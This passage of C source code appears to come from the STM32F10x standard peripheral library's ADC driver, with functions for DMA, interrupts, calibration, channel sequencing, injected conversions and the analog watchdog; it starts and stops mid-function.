* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_DMACmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_DMA_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC DMA request */
ADCx->CR2 |= CR2_DMA_Set;
}
else
{
/* Disable the selected ADC DMA request */
ADCx->CR2 &= CR2_DMA_Reset;
}
}
/**
* @brief Enables or disables the specified ADC interrupts.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_IT: specifies the ADC interrupt sources to be enabled or disabled.
* This parameter can be any combination of the following values:
* @arg ADC_IT_EOC: End of conversion interrupt mask
* @arg ADC_IT_AWD: Analog watchdog interrupt mask
* @arg ADC_IT_JEOC: End of injected conversion interrupt mask
* @param NewState: new state of the specified ADC interrupts.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_ITConfig(ADC_TypeDef* ADCx, uint16_t ADC_IT, FunctionalState NewState)
{
uint8_t itmask = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
assert_param(IS_ADC_IT(ADC_IT));
/* Get the ADC IT index */
itmask = (uint8_t)ADC_IT;
if (NewState != DISABLE)
{
/* Enable the selected ADC interrupts */
ADCx->CR1 |= itmask;
}
else
{
/* Disable the selected ADC interrupts */
ADCx->CR1 &= (~(uint32_t)itmask);
}
}
/**
* @brief Resets the selected ADC calibration registers.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval None
*/
void ADC_ResetCalibration(ADC_TypeDef* ADCx)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Resets the selected ADC calibration registers */
ADCx->CR2 |= CR2_RSTCAL_Set;
}
/**
* @brief Gets the selected ADC reset calibration registers status.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval The new state of ADC reset calibration registers (SET or RESET).
*/
FlagStatus ADC_GetResetCalibrationStatus(ADC_TypeDef* ADCx)
{
FlagStatus bitstatus = RESET;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Check the status of RSTCAL bit */
if ((ADCx->CR2 & CR2_RSTCAL_Set) != (uint32_t)RESET)
{
/* RSTCAL bit is set */
bitstatus = SET;
}
else
{
/* RSTCAL bit is reset */
bitstatus = RESET;
}
/* Return the RSTCAL bit status */
return bitstatus;
}
/**
* @brief Starts the selected ADC calibration process.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval None
*/
void ADC_StartCalibration(ADC_TypeDef* ADCx)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Enable the selected ADC calibration process */
ADCx->CR2 |= CR2_CAL_Set;
}
/**
* @brief Gets the selected ADC calibration status.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval The new state of ADC calibration (SET or RESET).
*/
FlagStatus ADC_GetCalibrationStatus(ADC_TypeDef* ADCx)
{
FlagStatus bitstatus = RESET;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Check the status of CAL bit */
if ((ADCx->CR2 & CR2_CAL_Set) != (uint32_t)RESET)
{
/* CAL bit is set: calibration on going */
bitstatus = SET;
}
else
{
/* CAL bit is reset: end of calibration */
bitstatus = RESET;
}
/* Return the CAL bit status */
return bitstatus;
}
/**
* @brief Enables or disables the selected ADC software start conversion .
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC software start conversion.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_SoftwareStartConvCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC conversion on external event and start the selected
ADC conversion */
ADCx->CR2 |= CR2_EXTTRIG_SWSTART_Set;
}
else
{
/* Disable the selected ADC conversion on external event and stop the selected
ADC conversion */
ADCx->CR2 &= CR2_EXTTRIG_SWSTART_Reset;
}
}
/**
* @brief Gets the selected ADC Software start conversion Status.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval The new state of ADC software start conversion (SET or RESET).
*/
FlagStatus ADC_GetSoftwareStartConvStatus(ADC_TypeDef* ADCx)
{
FlagStatus bitstatus = RESET;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Check the status of SWSTART bit */
if ((ADCx->CR2 & CR2_SWSTART_Set) != (uint32_t)RESET)
{
/* SWSTART bit is set */
bitstatus = SET;
}
else
{
/* SWSTART bit is reset */
bitstatus = RESET;
}
/* Return the SWSTART bit status */
return bitstatus;
}
/**
* @brief Configures the discontinuous mode for the selected ADC regular
* group channel.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param Number: specifies the discontinuous mode regular channel
* count value. This number must be between 1 and 8.
* @retval None
*/
void ADC_DiscModeChannelCountConfig(ADC_TypeDef* ADCx, uint8_t Number)
{
uint32_t tmpreg1 = 0;
uint32_t tmpreg2 = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_REGULAR_DISC_NUMBER(Number));
/* Get the old register value */
tmpreg1 = ADCx->CR1;
/* Clear the old discontinuous mode channel count */
tmpreg1 &= CR1_DISCNUM_Reset;
/* Set the discontinuous mode channel count */
tmpreg2 = Number - 1;
tmpreg1 |= tmpreg2 << 13;
/* Store the new register value */
ADCx->CR1 = tmpreg1;
}
/**
* @brief Enables or disables the discontinuous mode on regular group
* channel for the specified ADC
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC discontinuous mode
* on regular group channel.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_DiscModeCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC regular discontinuous mode */
ADCx->CR1 |= CR1_DISCEN_Set;
}
else
{
/* Disable the selected ADC regular discontinuous mode */
ADCx->CR1 &= CR1_DISCEN_Reset;
}
}
/**
* @brief Configures for the selected ADC regular channel its corresponding
* rank in the sequencer and its sample time.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_Channel: the ADC channel to configure.
* This parameter can be one of the following values:
* @arg ADC_Channel_0: ADC Channel0 selected
* @arg ADC_Channel_1: ADC Channel1 selected
* @arg ADC_Channel_2: ADC Channel2 selected
* @arg ADC_Channel_3: ADC Channel3 selected
* @arg ADC_Channel_4: ADC Channel4 selected
* @arg ADC_Channel_5: ADC Channel5 selected
* @arg ADC_Channel_6: ADC Channel6 selected
* @arg ADC_Channel_7: ADC Channel7 selected
* @arg ADC_Channel_8: ADC Channel8 selected
* @arg ADC_Channel_9: ADC Channel9 selected
* @arg ADC_Channel_10: ADC Channel10 selected
* @arg ADC_Channel_11: ADC Channel11 selected
* @arg ADC_Channel_12: ADC Channel12 selected
* @arg ADC_Channel_13: ADC Channel13 selected
* @arg ADC_Channel_14: ADC Channel14 selected
* @arg ADC_Channel_15: ADC Channel15 selected
* @arg ADC_Channel_16: ADC Channel16 selected
* @arg ADC_Channel_17: ADC Channel17 selected
* @param Rank: The rank in the regular group sequencer. This parameter must be between 1 to 16.
* @param ADC_SampleTime: The sample time value to be set for the selected channel.
* This parameter can be one of the following values:
* @arg ADC_SampleTime_1Cycles5: Sample time equal to 1.5 cycles
* @arg ADC_SampleTime_7Cycles5: Sample time equal to 7.5 cycles
* @arg ADC_SampleTime_13Cycles5: Sample time equal to 13.5 cycles
* @arg ADC_SampleTime_28Cycles5: Sample time equal to 28.5 cycles
* @arg ADC_SampleTime_41Cycles5: Sample time equal to 41.5 cycles
* @arg ADC_SampleTime_55Cycles5: Sample time equal to 55.5 cycles
* @arg ADC_SampleTime_71Cycles5: Sample time equal to 71.5 cycles
* @arg ADC_SampleTime_239Cycles5: Sample time equal to 239.5 cycles
* @retval None
*/
void ADC_RegularChannelConfig(ADC_TypeDef* ADCx, uint8_t ADC_Channel, uint8_t Rank, uint8_t ADC_SampleTime)
{
uint32_t tmpreg1 = 0, tmpreg2 = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_CHANNEL(ADC_Channel));
assert_param(IS_ADC_REGULAR_RANK(Rank));
assert_param(IS_ADC_SAMPLE_TIME(ADC_SampleTime));
/* if ADC_Channel_10 ... ADC_Channel_17 is selected */
if (ADC_Channel > ADC_Channel_9)
{
/* Get the old register value */
tmpreg1 = ADCx->SMPR1;
/* Calculate the mask to clear */
tmpreg2 = SMPR1_SMP_Set << (3 * (ADC_Channel - 10));
/* Clear the old channel sample time */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_SampleTime << (3 * (ADC_Channel - 10));
/* Set the new channel sample time */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SMPR1 = tmpreg1;
}
else /* ADC_Channel include in ADC_Channel_[0..9] */
{
/* Get the old register value */
tmpreg1 = ADCx->SMPR2;
/* Calculate the mask to clear */
tmpreg2 = SMPR2_SMP_Set << (3 * ADC_Channel);
/* Clear the old channel sample time */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_SampleTime << (3 * ADC_Channel);
/* Set the new channel sample time */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SMPR2 = tmpreg1;
}
/* For Rank 1 to 6 */
if (Rank < 7)
{
/* Get the old register value */
tmpreg1 = ADCx->SQR3;
/* Calculate the mask to clear */
tmpreg2 = SQR3_SQ_Set << (5 * (Rank - 1));
/* Clear the old SQx bits for the selected rank */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_Channel << (5 * (Rank - 1));
/* Set the SQx bits for the selected rank */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SQR3 = tmpreg1;
}
/* For Rank 7 to 12 */
else if (Rank < 13)
{
/* Get the old register value */
tmpreg1 = ADCx->SQR2;
/* Calculate the mask to clear */
tmpreg2 = SQR2_SQ_Set << (5 * (Rank - 7));
/* Clear the old SQx bits for the selected rank */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_Channel << (5 * (Rank - 7));
/* Set the SQx bits for the selected rank */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SQR2 = tmpreg1;
}
/* For Rank 13 to 16 */
else
{
/* Get the old register value */
tmpreg1 = ADCx->SQR1;
/* Calculate the mask to clear */
tmpreg2 = SQR1_SQ_Set << (5 * (Rank - 13));
/* Clear the old SQx bits for the selected rank */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_Channel << (5 * (Rank - 13));
/* Set the SQx bits for the selected rank */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SQR1 = tmpreg1;
}
}
/**
* @brief Enables or disables the ADCx conversion through external trigger.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC external trigger start of conversion.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_ExternalTrigConvCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC conversion on external event */
ADCx->CR2 |= CR2_EXTTRIG_Set;
}
else
{
/* Disable the selected ADC conversion on external event */
ADCx->CR2 &= CR2_EXTTRIG_Reset;
}
}
/**
* @brief Returns the last ADCx conversion result data for regular channel.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval The Data conversion value.
*/
uint16_t ADC_GetConversionValue(ADC_TypeDef* ADCx)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Return the selected ADC conversion value */
return (uint16_t) ADCx->DR;
}
/**
* @brief Returns the last ADC1 and ADC2 conversion result data in dual mode.
* @retval The Data conversion value.
*/
uint32_t ADC_GetDualModeConversionValue(void)
{
/* Return the dual mode conversion value */
return (*(__IO uint32_t *) DR_ADDRESS);
}
/**
* @brief Enables or disables the selected ADC automatic injected group
* conversion after regular one.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC auto injected conversion
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_AutoInjectedConvCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC automatic injected group conversion */
ADCx->CR1 |= CR1_JAUTO_Set;
}
else
{
/* Disable the selected ADC automatic injected group conversion */
ADCx->CR1 &= CR1_JAUTO_Reset;
}
}
/**
* @brief Enables or disables the discontinuous mode for injected group
* channel for the specified ADC
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC discontinuous mode
* on injected group channel.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_InjectedDiscModeCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC injected discontinuous mode */
ADCx->CR1 |= CR1_JDISCEN_Set;
}
else
{
/* Disable the selected ADC injected discontinuous mode */
ADCx->CR1 &= CR1_JDISCEN_Reset;
}
}
/**
* @brief Configures the ADCx external trigger for injected channels conversion.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_ExternalTrigInjecConv: specifies the ADC trigger to start injected conversion.
* This parameter can be one of the following values:
* @arg ADC_ExternalTrigInjecConv_T1_TRGO: Timer1 TRGO event selected (for ADC1, ADC2 and ADC3)
* @arg ADC_ExternalTrigInjecConv_T1_CC4: Timer1 capture compare4 selected (for ADC1, ADC2 and ADC3)
* @arg ADC_ExternalTrigInjecConv_T2_TRGO: Timer2 TRGO event selected (for ADC1 and ADC2)
* @arg ADC_ExternalTrigInjecConv_T2_CC1: Timer2 capture compare1 selected (for ADC1 and ADC2)
* @arg ADC_ExternalTrigInjecConv_T3_CC4: Timer3 capture compare4 selected (for ADC1 and ADC2)
* @arg ADC_ExternalTrigInjecConv_T4_TRGO: Timer4 TRGO event selected (for ADC1 and ADC2)
* @arg ADC_ExternalTrigInjecConv_Ext_IT15_TIM8_CC4: External interrupt line 15 or Timer8
* capture compare4 event selected (for ADC1 and ADC2)
* @arg ADC_ExternalTrigInjecConv_T4_CC3: Timer4 capture compare3 selected (for ADC3 only)
* @arg ADC_ExternalTrigInjecConv_T8_CC2: Timer8 capture compare2 selected (for ADC3 only)
* @arg ADC_ExternalTrigInjecConv_T8_CC4: Timer8 capture compare4 selected (for ADC3 only)
* @arg ADC_ExternalTrigInjecConv_T5_TRGO: Timer5 TRGO event selected (for ADC3 only)
* @arg ADC_ExternalTrigInjecConv_T5_CC4: Timer5 capture compare4 selected (for ADC3 only)
* @arg ADC_ExternalTrigInjecConv_None: Injected conversion started by software and not
* by external trigger (for ADC1, ADC2 and ADC3)
* @retval None
*/
void ADC_ExternalTrigInjectedConvConfig(ADC_TypeDef* ADCx, uint32_t ADC_ExternalTrigInjecConv)
{
uint32_t tmpreg = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_EXT_INJEC_TRIG(ADC_ExternalTrigInjecConv));
/* Get the old register value */
tmpreg = ADCx->CR2;
/* Clear the old external event selection for injected group */
tmpreg &= CR2_JEXTSEL_Reset;
/* Set the external event selection for injected group */
tmpreg |= ADC_ExternalTrigInjecConv;
/* Store the new register value */
ADCx->CR2 = tmpreg;
}
/**
* @brief Enables or disables the ADCx injected channels conversion through
* external trigger
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC external trigger start of
* injected conversion.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_ExternalTrigInjectedConvCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC external event selection for injected group */
ADCx->CR2 |= CR2_JEXTTRIG_Set;
}
else
{
/* Disable the selected ADC external event selection for injected group */
ADCx->CR2 &= CR2_JEXTTRIG_Reset;
}
}
/**
* @brief Enables or disables the selected ADC start of the injected
* channels conversion.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param NewState: new state of the selected ADC software start injected conversion.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_SoftwareStartInjectedConvCmd(ADC_TypeDef* ADCx, FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the selected ADC conversion for injected group on external event and start the selected
ADC injected conversion */
ADCx->CR2 |= CR2_JEXTTRIG_JSWSTART_Set;
}
else
{
/* Disable the selected ADC conversion on external event for injected group and stop the selected
ADC injected conversion */
ADCx->CR2 &= CR2_JEXTTRIG_JSWSTART_Reset;
}
}
/**
* @brief Gets the selected ADC Software start injected conversion Status.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @retval The new state of ADC software start injected conversion (SET or RESET).
*/
FlagStatus ADC_GetSoftwareStartInjectedConvCmdStatus(ADC_TypeDef* ADCx)
{
FlagStatus bitstatus = RESET;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
/* Check the status of JSWSTART bit */
if ((ADCx->CR2 & CR2_JSWSTART_Set) != (uint32_t)RESET)
{
/* JSWSTART bit is set */
bitstatus = SET;
}
else
{
/* JSWSTART bit is reset */
bitstatus = RESET;
}
/* Return the JSWSTART bit status */
return bitstatus;
}
/**
* @brief Configures for the selected ADC injected channel its corresponding
* rank in the sequencer and its sample time.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_Channel: the ADC channel to configure.
* This parameter can be one of the following values:
* @arg ADC_Channel_0: ADC Channel0 selected
* @arg ADC_Channel_1: ADC Channel1 selected
* @arg ADC_Channel_2: ADC Channel2 selected
* @arg ADC_Channel_3: ADC Channel3 selected
* @arg ADC_Channel_4: ADC Channel4 selected
* @arg ADC_Channel_5: ADC Channel5 selected
* @arg ADC_Channel_6: ADC Channel6 selected
* @arg ADC_Channel_7: ADC Channel7 selected
* @arg ADC_Channel_8: ADC Channel8 selected
* @arg ADC_Channel_9: ADC Channel9 selected
* @arg ADC_Channel_10: ADC Channel10 selected
* @arg ADC_Channel_11: ADC Channel11 selected
* @arg ADC_Channel_12: ADC Channel12 selected
* @arg ADC_Channel_13: ADC Channel13 selected
* @arg ADC_Channel_14: ADC Channel14 selected
* @arg ADC_Channel_15: ADC Channel15 selected
* @arg ADC_Channel_16: ADC Channel16 selected
* @arg ADC_Channel_17: ADC Channel17 selected
* @param Rank: The rank in the injected group sequencer. This parameter must be between 1 and 4.
* @param ADC_SampleTime: The sample time value to be set for the selected channel.
* This parameter can be one of the following values:
* @arg ADC_SampleTime_1Cycles5: Sample time equal to 1.5 cycles
* @arg ADC_SampleTime_7Cycles5: Sample time equal to 7.5 cycles
* @arg ADC_SampleTime_13Cycles5: Sample time equal to 13.5 cycles
* @arg ADC_SampleTime_28Cycles5: Sample time equal to 28.5 cycles
* @arg ADC_SampleTime_41Cycles5: Sample time equal to 41.5 cycles
* @arg ADC_SampleTime_55Cycles5: Sample time equal to 55.5 cycles
* @arg ADC_SampleTime_71Cycles5: Sample time equal to 71.5 cycles
* @arg ADC_SampleTime_239Cycles5: Sample time equal to 239.5 cycles
* @retval None
*/
void ADC_InjectedChannelConfig(ADC_TypeDef* ADCx, uint8_t ADC_Channel, uint8_t Rank, uint8_t ADC_SampleTime)
{
uint32_t tmpreg1 = 0, tmpreg2 = 0, tmpreg3 = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_CHANNEL(ADC_Channel));
assert_param(IS_ADC_INJECTED_RANK(Rank));
assert_param(IS_ADC_SAMPLE_TIME(ADC_SampleTime));
/* if ADC_Channel_10 ... ADC_Channel_17 is selected */
if (ADC_Channel > ADC_Channel_9)
{
/* Get the old register value */
tmpreg1 = ADCx->SMPR1;
/* Calculate the mask to clear */
tmpreg2 = SMPR1_SMP_Set << (3*(ADC_Channel - 10));
/* Clear the old channel sample time */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_SampleTime << (3*(ADC_Channel - 10));
/* Set the new channel sample time */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SMPR1 = tmpreg1;
}
else /* ADC_Channel include in ADC_Channel_[0..9] */
{
/* Get the old register value */
tmpreg1 = ADCx->SMPR2;
/* Calculate the mask to clear */
tmpreg2 = SMPR2_SMP_Set << (3 * ADC_Channel);
/* Clear the old channel sample time */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set */
tmpreg2 = (uint32_t)ADC_SampleTime << (3 * ADC_Channel);
/* Set the new channel sample time */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->SMPR2 = tmpreg1;
}
/* Rank configuration */
/* Get the old register value */
tmpreg1 = ADCx->JSQR;
/* Get JL value: Number = JL+1 */
tmpreg3 = (tmpreg1 & JSQR_JL_Set)>> 20;
/* Calculate the mask to clear: ((Rank-1)+(4-JL-1)) */
tmpreg2 = JSQR_JSQ_Set << (5 * (uint8_t)((Rank + 3) - (tmpreg3 + 1)));
/* Clear the old JSQx bits for the selected rank */
tmpreg1 &= ~tmpreg2;
/* Calculate the mask to set: ((Rank-1)+(4-JL-1)) */
tmpreg2 = (uint32_t)ADC_Channel << (5 * (uint8_t)((Rank + 3) - (tmpreg3 + 1)));
/* Set the JSQx bits for the selected rank */
tmpreg1 |= tmpreg2;
/* Store the new register value */
ADCx->JSQR = tmpreg1;
}
/**
* @brief Configures the sequencer length for injected channels
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param Length: The sequencer length.
* This parameter must be a number between 1 to 4.
* @retval None
*/
void ADC_InjectedSequencerLengthConfig(ADC_TypeDef* ADCx, uint8_t Length)
{
uint32_t tmpreg1 = 0;
uint32_t tmpreg2 = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_INJECTED_LENGTH(Length));
/* Get the old register value */
tmpreg1 = ADCx->JSQR;
/* Clear the old injected sequnence lenght JL bits */
tmpreg1 &= JSQR_JL_Reset;
/* Set the injected sequnence lenght JL bits */
tmpreg2 = Length - 1;
tmpreg1 |= tmpreg2 << 20;
/* Store the new register value */
ADCx->JSQR = tmpreg1;
}
/**
* @brief Set the injected channels conversion value offset
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_InjectedChannel: the ADC injected channel to set its offset.
* This parameter can be one of the following values:
* @arg ADC_InjectedChannel_1: Injected Channel1 selected
* @arg ADC_InjectedChannel_2: Injected Channel2 selected
* @arg ADC_InjectedChannel_3: Injected Channel3 selected
* @arg ADC_InjectedChannel_4: Injected Channel4 selected
* @param Offset: the offset value for the selected ADC injected channel
* This parameter must be a 12bit value.
* @retval None
*/
void ADC_SetInjectedOffset(ADC_TypeDef* ADCx, uint8_t ADC_InjectedChannel, uint16_t Offset)
{
__IO uint32_t tmp = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_INJECTED_CHANNEL(ADC_InjectedChannel));
assert_param(IS_ADC_OFFSET(Offset));
tmp = (uint32_t)ADCx;
tmp += ADC_InjectedChannel;
/* Set the selected injected channel data offset */
*(__IO uint32_t *) tmp = (uint32_t)Offset;
}
/**
* @brief Returns the ADC injected channel conversion result
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_InjectedChannel: the converted ADC injected channel.
* This parameter can be one of the following values:
* @arg ADC_InjectedChannel_1: Injected Channel1 selected
* @arg ADC_InjectedChannel_2: Injected Channel2 selected
* @arg ADC_InjectedChannel_3: Injected Channel3 selected
* @arg ADC_InjectedChannel_4: Injected Channel4 selected
* @retval The Data conversion value.
*/
uint16_t ADC_GetInjectedConversionValue(ADC_TypeDef* ADCx, uint8_t ADC_InjectedChannel)
{
__IO uint32_t tmp = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_INJECTED_CHANNEL(ADC_InjectedChannel));
tmp = (uint32_t)ADCx;
tmp += ADC_InjectedChannel + JDR_Offset;
/* Returns the selected injected channel conversion data value */
return (uint16_t) (*(__IO uint32_t*) tmp);
}
/**
* @brief Enables or disables the analog watchdog on single/all regular
* or injected channels
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_AnalogWatchdog: the ADC analog watchdog configuration.
* This parameter can be one of the following values:
* @arg ADC_AnalogWatchdog_SingleRegEnable: Analog watchdog on a single regular channel
* @arg ADC_AnalogWatchdog_SingleInjecEnable: Analog watchdog on a single injected channel
* @arg ADC_AnalogWatchdog_SingleRegOrInjecEnable: Analog watchdog on a single regular or injected channel
* @arg ADC_AnalogWatchdog_AllRegEnable: Analog watchdog on all regular channel
* @arg ADC_AnalogWatchdog_AllInjecEnable: Analog watchdog on all injected channel
* @arg ADC_AnalogWatchdog_AllRegAllInjecEnable: Analog watchdog on all regular and injected channels
* @arg ADC_AnalogWatchdog_None: No channel guarded by the analog watchdog
* @retval None
*/
void ADC_AnalogWatchdogCmd(ADC_TypeDef* ADCx, uint32_t ADC_AnalogWatchdog)
{
uint32_t tmpreg = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_ANALOG_WATCHDOG(ADC_AnalogWatchdog));
/* Get the old register value */
tmpreg = ADCx->CR1;
/* Clear AWDEN, AWDENJ and AWDSGL bits */
tmpreg &= CR1_AWDMode_Reset;
/* Set the analog watchdog enable mode */
tmpreg |= ADC_AnalogWatchdog;
/* Store the new register value */
ADCx->CR1 = tmpreg;
}
/**
* @brief Configures the high and low thresholds of the analog watchdog.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param HighThreshold: the ADC analog watchdog High threshold value.
* This parameter must be a 12bit value.
* @param LowThreshold: the ADC analog watchdog Low threshold value.
* This parameter must be a 12bit value.
* @retval None
*/
void ADC_AnalogWatchdogThresholdsConfig(ADC_TypeDef* ADCx, uint16_t HighThreshold,
uint16_t LowThreshold)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_THRESHOLD(HighThreshold));
assert_param(IS_ADC_THRESHOLD(LowThreshold));
/* Set the ADCx high threshold */
ADCx->HTR = HighThreshold;
/* Set the ADCx low threshold */
ADCx->LTR = LowThreshold;
}
/**
* @brief Configures the analog watchdog guarded single channel
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_Channel: the ADC channel to configure for the analog watchdog.
* This parameter can be one of the following values:
* @arg ADC_Channel_0: ADC Channel0 selected
* @arg ADC_Channel_1: ADC Channel1 selected
* @arg ADC_Channel_2: ADC Channel2 selected
* @arg ADC_Channel_3: ADC Channel3 selected
* @arg ADC_Channel_4: ADC Channel4 selected
* @arg ADC_Channel_5: ADC Channel5 selected
* @arg ADC_Channel_6: ADC Channel6 selected
* @arg ADC_Channel_7: ADC Channel7 selected
* @arg ADC_Channel_8: ADC Channel8 selected
* @arg ADC_Channel_9: ADC Channel9 selected
* @arg ADC_Channel_10: ADC Channel10 selected
* @arg ADC_Channel_11: ADC Channel11 selected
* @arg ADC_Channel_12: ADC Channel12 selected
* @arg ADC_Channel_13: ADC Channel13 selected
* @arg ADC_Channel_14: ADC Channel14 selected
* @arg ADC_Channel_15: ADC Channel15 selected
* @arg ADC_Channel_16: ADC Channel16 selected
* @arg ADC_Channel_17: ADC Channel17 selected
* @retval None
*/
void ADC_AnalogWatchdogSingleChannelConfig(ADC_TypeDef* ADCx, uint8_t ADC_Channel)
{
uint32_t tmpreg = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_CHANNEL(ADC_Channel));
/* Get the old register value */
tmpreg = ADCx->CR1;
/* Clear the Analog watchdog channel select bits */
tmpreg &= CR1_AWDCH_Reset;
/* Set the Analog watchdog channel */
tmpreg |= ADC_Channel;
/* Store the new register value */
ADCx->CR1 = tmpreg;
}
/**
* @brief Enables or disables the temperature sensor and Vrefint channel.
* @param NewState: new state of the temperature sensor.
* This parameter can be: ENABLE or DISABLE.
* @retval None
*/
void ADC_TempSensorVrefintCmd(FunctionalState NewState)
{
/* Check the parameters */
assert_param(IS_FUNCTIONAL_STATE(NewState));
if (NewState != DISABLE)
{
/* Enable the temperature sensor and Vrefint channel*/
ADC1->CR2 |= CR2_TSVREFE_Set;
}
else
{
